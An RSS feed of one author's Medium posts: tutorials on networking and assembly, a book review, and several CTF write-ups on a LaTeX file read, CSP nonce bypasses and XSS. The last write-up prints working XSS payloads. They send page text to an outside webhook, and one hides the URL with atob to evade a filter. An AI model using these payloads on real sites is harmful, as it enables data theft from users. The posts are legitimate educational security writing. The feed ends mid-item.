<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Michele Grimaldi on Medium]]></title>
        <description><![CDATA[Stories by Michele Grimaldi on Medium]]></description>
        <link>https://medium.com/@mikgrimaldi7?source=rss-c27f90fcde8e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*bbnbvmPOsIjUIYFY</url>
            <title>Stories by Michele Grimaldi on Medium</title>
            <link>https://medium.com/@mikgrimaldi7?source=rss-c27f90fcde8e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 02:11:34 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mikgrimaldi7/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Understanding a network from the ground up in Cisco Packet Tracer]]></title>
            <link>https://medium.com/@mikgrimaldi7/understanding-a-network-from-the-ground-up-in-cisco-packet-tracer-3baee9f0450c?source=rss-c27f90fcde8e------2</link>
            <guid isPermaLink="false">https://medium.com/p/3baee9f0450c</guid>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cisco]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Michele Grimaldi]]></dc:creator>
            <pubDate>Fri, 04 Dec 2026 16:08:37 GMT</pubDate>
            <atom:updated>2026-12-04T16:10:26.808Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Three devices, one cable per PC, and a look at what actually happens inside the network, packet by packet.</em></p><p>When tackling a networking CTF, the hardest part often isn’t finding the right command, but rather keeping the network map in your head: who is talking to whom, at which layer, and what is visible from the outside? To build this map, I used Cisco Packet Tracer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*OcmtMjAiAsw3FZByHWnwMg.jpeg" /></figure><p><strong>1. The topology</strong></p><p>Two PCs and a Cisco 2960 switch, connected using straight-through cables. Static addresses within the same /24 subnet:</p><p>PC0: 192.168.1.10/24<br>PC1: 192.168.1.11/24</p><p>The gateway is left blank, as both hosts are on the same segment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/355/1*ayochKmojQM7jiQCLHqAoA.png" /></figure><p>The LEDs on the cable remain orange for about 30 seconds <strong>before turning green</strong>. I’ll explain why later on.</p><p><strong>2. Before and after: ipconfig</strong></p><p>Immediately after being added, the PC has no IPv4 address:</p><p><em>IPv4 Address………………..: 0.0.0.0<br>Link-local IPv6 Address………: FE80::230:F2FF:FE74:902C</em></p><p>After manual configuration:</p><p><em>IPv4 Address………………..: 192.168.1.10<br>Subnet Mask…………………: 255.255.255.0</em></p><p>The link-local IPv6 address is present without any configuration: it is generated from the MAC address (in EUI-64 format, recognizable by the “FF:FE” in the middle). This means the network interface is active, even though no IPv4 address has been assigned.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*M2UTZJcv5JX0tp5MtP6fEQ.png" /><figcaption>before</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*uLrkSTHtOm48O6_PUqyrmg.png" /><figcaption>after</figcaption></figure><p><strong>3. The first ping and ICMP</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/422/1*dkbN5tuX26BMe_NHRE-6TQ.png" /></figure><p><strong>Ping uses ICMP</strong> (Internet Control Message Protocol), a Layer 3 protocol that <strong>travels within IP packets</strong>; it does not use ports, nor does it rely on TCP or UDP. The primary messages are:</p><ul><li>Echo request / reply: the basis of a ping.</li><li>Destination Unreachable: “I do not know how to reach this destination.”</li><li>Time Exceeded: sent by a router when the TTL (Time to Live) reaches 0. This is the mechanism upon which traceroute is based.</li></ul><p>A <strong>TTL value of 128</strong> is the default for simulated PCs. In CTF (Capture The Flag) challenges, the <strong><em>TTL of a response can provide a clue about the operating system</em></strong> on the other end (128 is typical for Windows, 64 for Linux).</p><p><strong>4. Simulation mode: what actually happens</strong></p><p>In Simulation mode, the Event List displays every event. When using the envelope tool (Add Simple PDU) from PC0 to PC1, five ICMP events appear:</p><ul><li>creation of the packet on PC0</li><li>PC0 → Switch0</li><li>Switch0 → PC1</li><li>PC1 → Switch0 (echo reply)</li><li>Switch0 → PC0</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*zGMB3lJ85OPgOIFiO9DZhw.png" /></figure><p>In addition to the traffic I generate, the Event List shows protocols that the switch produces on its own. In the latest capture, following the three ARP events (from 0.000 to 0.002 seconds), two other families of packets appear.</p><p><strong>STP</strong> (1.288 and 1.289 seconds). The switch sends a BPDU (Bridge Protocol Data Unit) toward PC1 and PC0. These are messages from the Spanning Tree Protocol (IEEE 802.1D), which operates at Layer 2 and lacks an IP header. It serves to prevent loops between switches: since an Ethernet frame has no TTL (Time to Live) field, a loop would cause a broadcast to circulate indefinitely (a “broadcast storm”). Switches elect a “root bridge” and block redundant ports. With the default timer (hello time), BPDUs are sent every 2 seconds; in another capture, I observed them at 1.997, 3.998, and 5.997 seconds. Using default timers, ports transition through various states over approximately 30 seconds — which explains why the LEDs appear orange at the start. There are no loops in my network, so no ports are blocked, but the protocol remains active nonetheless.</p><p><strong>DTP</strong> (3.031 and 3.032 seconds). The Dynamic Trunking Protocol is a proprietary Cisco protocol, also operating at Layer 2. The switch uses it to negotiate whether a port should become a “trunk” (a link that carries multiple VLANs, typically between switches) or remain an “access” port. In my setup, these packets reach PC0, which ignores them, as a PC does not participate in this negotiation. This presents an interesting security concern: an attacker could impersonate a switch and trick a port into becoming a trunk, thereby gaining access to multiple VLANs (a technique known as “VLAN hopping”). The classic defense is to configure user ports in access mode and disable negotiation using `switchport nonegotiate`.</p><p>This is the simplest possible topology: two hosts and a switch, all on the same network. It is useful for observing basic protocols without any other elements in between, but it serves only as a starting point. In future articles, I will build other topologies, progressively closer to those encountered in networking-focused CTF (Capture The Flag) challenges.</p><p>As a network grows, the things to observe change. For instance, with a router in the mix, the gateway field is no longer empty; ARP requests are directed toward the gateway rather than the final destination, and a traceroute will show more than one hop. I will document each topology in the same way: the configuration, the traffic observed in “Simulation” mode, and the implications from a security perspective.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3baee9f0450c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From number to text: itoa in x86–64 assembly]]></title>
            <link>https://medium.com/@mikgrimaldi7/from-number-to-text-itoa-in-x86-64-assembly-706634536b83?source=rss-c27f90fcde8e------2</link>
            <guid isPermaLink="false">https://medium.com/p/706634536b83</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[assembly]]></category>
            <category><![CDATA[x86-64]]></category>
            <dc:creator><![CDATA[Michele Grimaldi]]></dc:creator>
            <pubDate>Wed, 02 Dec 2026 16:02:03 GMT</pubDate>
            <atom:updated>2026-12-02T16:08:13.100Z</atom:updated>
            <content:encoded><![CDATA[<h4>A CPU stores the number 1234 as binary.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*tm9FK0mfjmxlp2VWDmBttQ.jpeg" /></figure><p>A CPU stores the number 1234 as binary. A terminal, a file or a socket expects the characters &#39;1&#39;, &#39;2&#39;, &#39;3&#39;, &#39;4&#39;, which are the bytes 0x31 0x32 0x33 0x34. Turning one into the other is called <strong>itoa</strong> (integer to ASCII). In C a library does it for you. In assembly you write it yourself, and doing so shows how a number is built from its digits.</p><h3>The idea</h3><p>In base 10, dividing by 10 does two things at once:</p><ul><li>the <strong>remainder</strong> is the last digit of the number;</li><li>the <strong>quotient</strong> is the number without that digit.</li></ul><p>For 1234:</p><p>step number number / 10 remainder (digit) 1 1234 123 4 2 123 12 3 3 12 1 2 4 1 0 1</p><p>Repeat until the quotient is 0. The remainder is a value from 0 to 9, not a character. Adding &#39;0&#39; (0x30) turns it into its ASCII digit, because the ASCII digits are consecutive: &#39;0&#39; is 0x30, &#39;1&#39; is 0x31, and so on.</p><p>Checking the quotient after the first division means the input 0 needs no special case. It produces one digit, &#39;0&#39;, and then stops.</p><h3>Two details of div</h3><p>On x86–64, div rcx divides the 128-bit value rdx:rax by rcx. The quotient goes in rax and the remainder in rdx. Two consequences:</p><ul><li>rdx must be zeroed before every division, or the dividend is garbage.</li><li>The divisor must be in a register (here 10 in rcx), not an immediate.</li></ul><h3>The order problem</h3><p>The digits come out <strong>last first</strong>: 4, 3, 2, 1. The text has to be written 1, 2, 3, 4. The stack solves this because it is LIFO. Loop 1 pushes each digit as it is produced. Loop 2 pops them, and they come back in reverse order, which is the correct one.</p><p>push and pop always move 8 bytes, but a character is 1 byte. When writing out, store only the low byte (al or dl).</p><h3>Example</h3><p>A complete program that prints a number. It is a standalone demo, not tied to any exercise.</p><pre>.intel_syntax noprefix<br>.global _start</pre><pre>.section .bss<br>buf: .skip 20                  # enough for any unsigned 64-bit number</pre><pre>.section .text<br>_start:<br>    mov rax, 1234              # the number to print<br>    mov rcx, 10                # divisor<br>    xor r8, r8                 # number of digits</pre><pre>next_digit:<br>    xor edx, edx               # the high half of the dividend must be 0<br>    div rcx                    # rax = quotient, rdx = remainder<br>    add edx, &#39;0&#39;               # remainder -&gt; ASCII character<br>    push rdx                   # park it on the stack<br>    inc r8<br>    test rax, rax<br>    jnz next_digit             # stop when the quotient reaches 0</pre><pre>    lea rsi, [rip + buf]       # write pointer<br>    mov r9, rsi                # remember where the text starts<br>emit:<br>    pop rax                    # the most significant digit comes out first<br>    mov [rsi], al              # store only the low byte<br>    inc rsi<br>    dec r8<br>    jnz emit</pre><pre>    mov rdx, rsi<br>    sub rdx, r9                # length = end - start<br>    mov rsi, r9                # start of the text<br>    mov rdi, 1                 # stdout<br>    mov rax, 1                 # write<br>    syscall</pre><pre>    mov rdi, 0<br>    mov rax, 60                # exit<br>    syscall</pre><p>Build and run it on Linux x86–64:</p><pre>as -o itoa.o itoa.s &amp;&amp; ld -o itoa itoa.o &amp;&amp; ./itoa</pre><p>Expected output: 1234</p><h3>Limits and common pitfalls</h3><ul><li><strong>Buffer size.</strong> A 64-bit unsigned number can have up to 20 digits (18446744073709551615). A function like itoa(number, buffer) cannot know how big the buffer is, so the caller must guarantee the space. Otherwise it writes past the end of the buffer.</li><li><strong>Signed numbers.</strong> This version is unsigned. For negatives, emit a &#39;-&#39; first, negate the number, and then run the same loop.</li><li><strong>Registers.</strong> In a function that follows the System V calling convention, rbx, rbp and r12-r15 must be preserved. Prefer rax, rcx, rdx, rsi, rdi and r8-r11.</li><li><strong>Stack versus buffer.</strong> The stack here is only a temporary place to reverse the digits. Writing into a buffer from the end backwards (decrementing the pointer) avoids the second loop.</li></ul><h3>Source</h3><p>This technique is covered in the <em>Numbers as Strings</em> module of the Computing 101 course on <a href="https://pwn.college/computing-101/numbers-as-strings/">pwn.college</a>. The example code above is original and not taken from the course’s challenges.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=706634536b83" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hackers, Heroes of the Computer Revolution: The Ethic, Spacewar!]]></title>
            <link>https://medium.com/@mikgrimaldi7/hackers-heroes-of-the-computer-revolution-the-ethic-spacewar-and-what-security-still-owes-them-4d6b746c8023?source=rss-c27f90fcde8e------2</link>
            <guid isPermaLink="false">https://medium.com/p/4d6b746c8023</guid>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[open-source]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[computer-science]]></category>
            <category><![CDATA[hacker]]></category>
            <dc:creator><![CDATA[Michele Grimaldi]]></dc:creator>
            <pubDate>Wed, 02 Dec 2026 07:38:02 GMT</pubDate>
            <atom:updated>2026-12-02T07:54:40.654Z</atom:updated>
            <content:encoded><![CDATA[<p>Steven Levy’s <em>Hackers: Heroes of the Computer Revolution</em> (1984) is a history of a culture, not of machines. It follows a community of computer enthusiasts from the late 1950s to the early 1980s and asks what they believed, not only what they built.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v044hwIXcpCbNW-SowVMlA.jpeg" /></figure><p>I read it as someone who writes about security and CTFs, where the word “hacker” usually means something quite different from what it meant to the people in this book. That gap is the reason it is worth revisiting.</p><p>In this article I summarize the book’s core ideas in my own words, take a closer look at <em>Spacewar!</em>, the game that Levy treats as a landmark of the first generation, and ask what the old ethic still demands of us today.</p><h3>Before “hacker” meant criminal, it meant devotion to craft</h3><p>For Levy, a hacker is someone so absorbed by computers that they explore any system in depth, looking for elegant solutions for the pleasure of the work itself. There is nothing criminal in the definition.</p><p>The culture took shape in the MIT labs of the early 1960s, among members of the Tech Model Railroad Club and the people around the AI Lab. Their goal was rarely usefulness in the commercial sense. They wanted to understand a machine completely and to make it do something beautiful and unexpected.</p><h3>The Hacker Ethic: six ideas worth keeping</h3><p>The book’s central contribution is a set of shared beliefs that Levy calls the Hacker Ethic. The sources I consulted list only some of them, so below is the version usually cited from the book, stated in my own words.</p><ol><li><strong>Access should be as wide as possible.</strong> If you want to understand how something works, you should be able to take it apart, and hands-on learning is the best teacher.</li><li><strong>Information should be free.</strong> Knowledge that circulates openly gets improved faster, and existing knowledge is raw material for new knowledge.</li><li><strong>Distrust blind authority.</strong> Centralized control tends to block improvement, so decentralization is preferred.</li><li><strong>Judge people by their work.</strong> Degrees, titles, age and position do not count. Technical skill does.</li><li><strong>Computers can produce beauty.</strong> Elegant code and a clever solution are an art form.</li><li><strong>Computers can change life for the better.</strong> The ethic was openly utopian and countercultural.</li></ol><p>One trait cuts across all six: the best hackers were driven by the intrinsic pleasure of doing something well and by the respect of their peers, not by money or outside recognition.</p><h3>Three generations, one thread</h3><p>Levy organizes the story around three waves of hackers, each with its own machines and its own place in the culture.</p><ol><li><strong>The MIT generation (1950s-60s).</strong> They worked on room-sized mainframes, built the early time-sharing systems and wrote the first artificial intelligence programs. Names include Richard Greenblatt and Bill Gosper.</li><li><strong>The hardware hackers (mid-1970s).</strong> The personal computer came out of hobbyist culture, above all the Homebrew Computer Club in Silicon Valley, not out of industrial research, which saw these machines as toys. Figures here include Lee Felsenstein, Ed Roberts (Altair 8800) and Steve Wozniak.</li><li><strong>The game builders (late 1970s-early 1980s).</strong> This group created the video game industry and some of the first mass-market software.</li></ol><p>The thread is the same in all three: the machine is a medium for exploration, and the community that forms around it shares what it learns.</p><h3>Spacewar!: the ethic in a playable form</h3><p>The game Levy gives a central place to is <em>Spacewar!</em>, written at MIT by Steve Russell on a DEC PDP-1. Work started in 1961 and the game was playable in 1962, built together with other members of the same circle, including Martin Graetz and Wayne Wiitanen. Two spaceships fire at each other while orbiting a star, and the game spread through the community as a living example of what hackers valued.</p><p>Three features make it a perfect case study of the ethic:</p><ul><li><strong>It was built by many hands.</strong> Other hackers kept adding features to the original idea, gravity among them. The program was never finished by one author, it was improved by a community.</li><li><strong>The source circulated freely.</strong> It passed between sites that owned a PDP-1 with no ownership attached. Anyone could read the code, change it and pass it on.</li><li><strong>It existed for the joy of it.</strong> Nobody commissioned it and nobody sold it. It was an elegant technical exercise that happened to be fun.</li></ul><p><em>Spacewar!</em> also helps explain the third generation, because it inspired the first arcade games, and from there the industry that turned hacker play into product.</p><p>A caveat on the label “first video game”. It depends on the definition. <em>OXO</em>, a tic-tac-toe program on EDSAC (1952), and <em>Tennis for Two</em> (1958), played on an oscilloscope, came earlier. <em>Spacewar!</em> earns its place not because it was first but because it spread widely and shaped what followed.</p><h3>Where the ideal meets money</h3><p>The ethic did not survive contact with the market untouched. The first big clash came with the BASIC interpreter that Bill Gates and Paul Allen wrote for the Altair 8800: it had to be bought instead of being shared, which was exactly what the culture rejected. The free software movement and the GNU project of Richard Stallman were a direct reaction to the commercialization of software.</p><p>The book has critics too. A 1985 review in <em>PC Magazine</em> credited Levy with capturing the essence of the hacker personality, but made two objections. It argued that a real hacker, driven by passion for the machine, can also work inside a company. And it found his optimism about the collective spirit of computing naive.</p><p>I think both objections still matter. The ethic describes real values, but it is easy to romanticize it and forget that open sharing needs a model that pays the people doing the work.</p><h3>What it asks of us today</h3><p>The following is my own interpretation, not Levy’s. The ethic is not only about security. It describes a way of learning and sharing that applies to anyone who works with technology.</p><ul><li><strong>Information should be free</strong> becomes open learning. Students and teachers publish lecture notes and study material online, communities document what they know, and anyone curious enough can study on their own, without enrolling anywhere.</li><li><strong>Learn by taking things apart</strong> becomes building and tinkering: side projects, home labs, rebuilding a tool just to see how it works.</li><li><strong>Judge people by their work</strong> becomes looking at what someone has built and how they built it. Open-source contributions, public repositories and the quality of the decisions inside the code say more than a degree or a title.</li></ul><p>Security is one field where this plays out, through public writeups, CTFs and bug bounty programs. The same logic runs through game development, systems programming and AI, wherever people share what they make and are judged on it.</p><p>Openness still has limits. Share what you are entitled to share, and respect licenses, copyright and privacy. In security that also means testing only what you have permission to test.</p><h3>Closing thoughts</h3><p>The book’s lasting lesson is that technical culture is made of values before it is made of tools. Open sharing, craftsmanship and judging people by their work are choices, and each generation has to decide whether to keep making them.</p><p>If you want to read the original, Project Gutenberg hosts an edition with only the first two chapters. Its page lists the work as copyrighted, so check the terms before redistributing the text. The full book is available from the usual bookstores.</p><h3>Sources</h3><ul><li><a href="https://www.gutenberg.org/ebooks/729">Hackers, Heroes of the Computer Revolution. Chapters 1 and 2, Project Gutenberg</a></li><li><a href="https://en.wikipedia.org/wiki/Hackers:_Heroes_of_the_Computer_Revolution">Hackers: Heroes of the Computer Revolution, Wikipedia</a></li><li><a href="https://superbook.ai/books/hackers-heroes-of-the-computer-revolution">Hackers: Heroes of the Computer Revolution, Superbook</a></li></ul><p><em>The Spacewar! details beyond these pages (authors, dates, earlier games) come from general knowledge and are worth verifying before publication. Remove this line before posting.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4d6b746c8023" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Root-Me — App-Script “LaTeX — Input” (ch23)]]></title>
            <link>https://medium.com/@mikgrimaldi7/root-me-app-script-latex-input-ch23-27245aadc088?source=rss-c27f90fcde8e------2</link>
            <guid isPermaLink="false">https://medium.com/p/27245aadc088</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[latex]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Michele Grimaldi]]></dc:creator>
            <pubDate>Tue, 01 Dec 2026 11:27:17 GMT</pubDate>
            <atom:updated>2026-12-01T11:30:38.934Z</atom:updated>
            <content:encoded><![CDATA[<h4>Note — File read via privileged LaTeX compiler (Root-Me “LaTeX — Input”)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KbAJeGUgPFJDYts0tMYvrA.png" /></figure><p><strong>Scenario.</strong> A privileged process compiles an attacker-supplied LaTeX source with pdflatex. Goal: read a secret file owned by, and readable only by, another user — without ever authenticating as them.</p><p><strong>Chain.</strong> A SUID wrapper owned by the secret’s owner runs the compilation under that user’s identity. But it raises only the uid, not the gid, and isn’t SGID — so the temp directory created for compilation ends up owned by the privileged user yet grouped to the attacker. That’s the crack.</p><p><strong>Defenses and bypass.</strong> Shell escape is disabled (no command execution), leaving only file read. Fatal-on-first-error makes naive inclusion of the secret useless (it isn’t valid LaTeX), so it must be read as raw data. The output dir is finally locked down against “others” — but the attacker isn’t an other: sharing the temp dir’s group, they can read what the compilation produced.</p><p><strong>Exploit logic.</strong> No permission is broken — the read is delegated. The compiler, running as the secret’s owner, reads it and writes the content into a staging file the attacker can reach. LaTeX’s file I/O primitives aren’t shell escape, so they stay available; a relative output filename (allowed, unlike absolute paths) lands in the group-readable temp dir.</p><p><strong>Payload tuning (the lesson).</strong> Three hurdles, solved by reading errors as system feedback: a name clash with an existing macro (“Bad number”); the secret hidden behind the language’s comment character, which the standard read discards — bypassed with the e-TeX primitive that treats every char as raw data (<a href="https://tug.org/pipermail/texhax/2010-December/016411.html">\readline</a>); then end-of-line handling and the secret&#39;s true line, fixed by suppressing the appended end-of-line char (<a href="https://www.overleaf.com/learn/latex/Articles/An_introduction_to_%5Cendlinechar:_How_TeX_reads_lines_from_text_files">\endlinechar</a>) and looping the read over the whole file.</p><p><strong>Root cause.</strong> Partial privilege elevation (uid yes, gid no); trusting disabled shell escape as the sole mitigation, when the real risk of LaTeX on untrusted input is arbitrary file read, not just command execution; and the secret co-located with the process that can read it. Fixes: raise the gid too or restrict the temp dir to owner-only; real sandboxing with a dedicated user that has no access to secrets.</p><p><strong>Principle.</strong> Like PATH hijacking and weak sudo config: you don’t break a permission, you abuse a privileged interpreter that treats your input as instructions. The three guiding questions: which part of the input do I control, with what privileges is it interpreted, and where does the output go. Here the third was the key.</p><h3><strong>Sources:</strong></h3><p>· <a href="https://manpages.debian.org/pdftex">pdfTeX manual — </a><a href="https://manpages.debian.org/pdftex">-no-shell-escape</a></p><p>· <a href="https://tug.org/pipermail/texhax/2010-December/016411.html">e-TeX </a><a href="https://tug.org/pipermail/texhax/2010-December/016411.html">\readline</a></p><p>· <a href="https://www.overleaf.com/learn/latex/Articles/An_introduction_to_%5Cendlinechar:_How_TeX_reads_lines_from_text_files">\endlinechar and file reading</a></p><p>· <a href="https://book.jorianwoltjer.com/languages/latex">LaTeX injection overview</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=27245aadc088" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What a nonce is]]></title>
            <link>https://medium.com/@mikgrimaldi7/what-a-nonce-is-f95b708c94da?source=rss-c27f90fcde8e------2</link>
            <guid isPermaLink="false">https://medium.com/p/f95b708c94da</guid>
            <category><![CDATA[xs]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[content-security-policy]]></category>
            <dc:creator><![CDATA[Michele Grimaldi]]></dc:creator>
            <pubDate>Mon, 30 Nov 2026 12:03:35 GMT</pubDate>
            <atom:updated>2026-11-30T12:04:05.096Z</atom:updated>
            <content:encoded><![CDATA[<p>A CSP nonce is a unique, random value generated per page load that helps validate legitimate inline scripts within a Content Security Policy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LcRKTlnN1eQiPqOOHyQrrQ.png" /></figure><h3>What a nonce is</h3><p>A CSP nonce is a unique, <strong>random value generated per page load that helps validate legitimate inline scripts within a Content Security Policy</strong>. It works in two places: the server generates it on every response and places it in two spots —<em> the nonce-</em>… source in the <em>Content-Security-Policy</em> header and a matching nonce attribute on each inline script. The server includes that value as the nonce attribute of all the script (and/or style) tags it intends to include in the document.</p><p>Its strength is unpredictability: nonce-based policies <strong>use a random token</strong> assigned to an attribute to decide if a script can execute; the idea is that an attacker can’t discover this random token, therefore can’t inject it, and therefore can’t execute scripts. That’s why you can’t simply read it: for security reasons, browsers hide the nonce attribute (nonce hiding).</p><h3>base-uri injection</h3><p>The key is a gap in the policy. <strong><em>base-uri, form-action, and frame-ancestors do NOT fall back to default-src</em></strong>: their absence is always a <strong>potential bypass vector.</strong></p><p>How it’s abused when a page loads a relative script: if a page loads a relative script like &lt;script src=&quot;/app.js&quot;&gt;&lt;/script&gt;, it normally resolves against the page&#39;s own origin — but by injecting a &lt;base&gt; tag you change that origin, and the script (which keeps its valid nonce) gets fetched from your server. You never need to know the nonce: you inherit it from the legitimate tag.</p><p>A useful “twin” variant for when your injection point lands inside an already-nonced script: if the injection point lands inside an existing &lt;script nonce=&quot;...&quot;&gt; block, you don&#39;t need to know the nonce at all — you&#39;re injecting into an already-trusted script tag.</p><p>And if the nonce were static/reused, a third path opens: reload the page and compare the nonce values — if they’re the same, the nonce is static and you can create your own trusted &lt;script nonce=&quot;...&quot;&gt; anywhere <strong>HTML injection is possible</strong>; if they differ, it&#39;s per-request and only the &quot;inject inside an existing script tag&quot; path applies.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f95b708c94da" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exfiltrating a flag past a Content Security Policy]]></title>
            <link>https://medium.com/@mikgrimaldi7/exfiltrating-a-flag-past-a-content-security-policy-f5fe6140ac6f?source=rss-c27f90fcde8e------2</link>
            <guid isPermaLink="false">https://medium.com/p/f5fe6140ac6f</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Michele Grimaldi]]></dc:creator>
            <pubDate>Mon, 30 Nov 2026 10:00:44 GMT</pubDate>
            <atom:updated>2026-11-30T10:00:44.066Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>The flag’s name said it all: </em><strong>CSP is easy to bypass with script</strong><em>. Here’s the chain, from scratch.</em></blockquote><p>A classic setup: a <strong>page reflects your input</strong>, an <strong>admin bot visits URLs</strong> you submit, and <strong>the flag is only visible to that bot</strong>. The goal is to <strong>make the bot leak it to you</strong>. Standing in the way: a <a href="https://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Mozilla%20-%20Content%20Security%20Policy%20(CSP)%20-%20Mozilla.pdf"><strong>Content Security Policy</strong></a> and a server-side input filter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zSoJHTT21uTIwLUwTdYMLQ.jpeg" /></figure><h3>The wall</h3><p>The page dropped my user parameter straight into the HTML — reflected XSS. Two layers tried to stop exploitation:</p><ol><li><strong>CSP</strong> — script-src &#39;unsafe-inline&#39;, connect-src &#39;none&#39;, img-src &#39;self&#39;. No fetch, no external images.</li><li><strong>A server-side filter</strong> — the literal word script returned 403.</li></ol><h3>Step 1 — Execution</h3><p>&lt;script&gt; was filtered, but &#39;unsafe-inline&#39; allows inline event handlers. An image with a broken source is enough:</p><pre>&lt;img src=x onerror=alert(1)&gt;</pre><p>The onerror fires, arbitrary JS runs. XSS confirmed.</p><h3>Step 2 — The exit channel</h3><p>CSP blocked the data channels (fetch, cross-origin images) but said nothing about <strong>top-level navigation</strong>. location = &#39;...&#39; can send the browser — and whatever I append to the URL — to a server I control (a webhook endpoint).</p><p>Naive attempt:</p><pre>&lt;img src=x onerror=&quot;location=&#39;https://webhook.site/&lt;id&gt;/?f=&#39;+encodeURIComponent(document.body.innerText)&quot;&gt;</pre><p><strong>403…</strong></p><h3>Step 3 — Isolating the filter</h3><p>Single-variable tests, changing one thing at a time:</p><ul><li>alert(&#39;a&#39;+&#39;b&#39;) → OK (concatenation is fine)</li><li>alert(&#39;https://a.b&#39;) → <strong>403</strong></li></ul><p>The filter wasn’t matching webhook.site. It blocked <strong>any </strong><strong>host.tld pattern</strong> — a dotted hostname. I couldn&#39;t write the destination URL in clear text at all.</p><h3>Step 4 — The bypass</h3><p>If the filter inspects the static string, move URL construction to <strong>runtime</strong>. Base64-encode the whole URL — the output is just [A-Za-z0-9+/=], no dots, no //, no recognizable domain — and decode it in the browser with atob():</p><pre>&lt;img src=x onerror=&quot;location=atob(&#39;aHR0cHM6Ly...&#39;)+encodeURIComponent(document.body.innerText)&quot;&gt;</pre><p>The filter sees random alphanumerics. The bot’s browser decodes it <em>after</em> the filter is done, navigates to my endpoint, and carries the page text — flag included — in the query string.</p><p>Submit that URL to the bot through the report form, wait a minute, and the request lands on the webhook. Flag exfiltrated.</p><h3>The takeaway</h3><p>Three things lined up:</p><ul><li>&#39;unsafe-inline&#39; makes CSP nearly useless against XSS.</li><li>Blocking data channels but not navigation leaves a wide-open exit.</li><li><strong>A static filter can’t see what your code builds at runtime</strong> — atob(), String.fromCharCode, template literals all sidestep it.</li></ul><p><strong><em>The right question was never “how do I hide the script” — the code ran fine. It was “what exactly is the filter blocking?” The answer was the domain, not the code. Hide the data, not the payload.</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f5fe6140ac6f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Root-Me — Web-Client ch25: Client-side authentication bypass]]></title>
            <link>https://medium.com/@mikgrimaldi7/root-me-web-client-ch25-client-side-authentication-bypass-198e2bfa85a5?source=rss-c27f90fcde8e------2</link>
            <guid isPermaLink="false">https://medium.com/p/198e2bfa85a5</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Michele Grimaldi]]></dc:creator>
            <pubDate>Fri, 27 Nov 2026 14:32:40 GMT</pubDate>
            <atom:updated>2026-11-27T14:32:40.725Z</atom:updated>
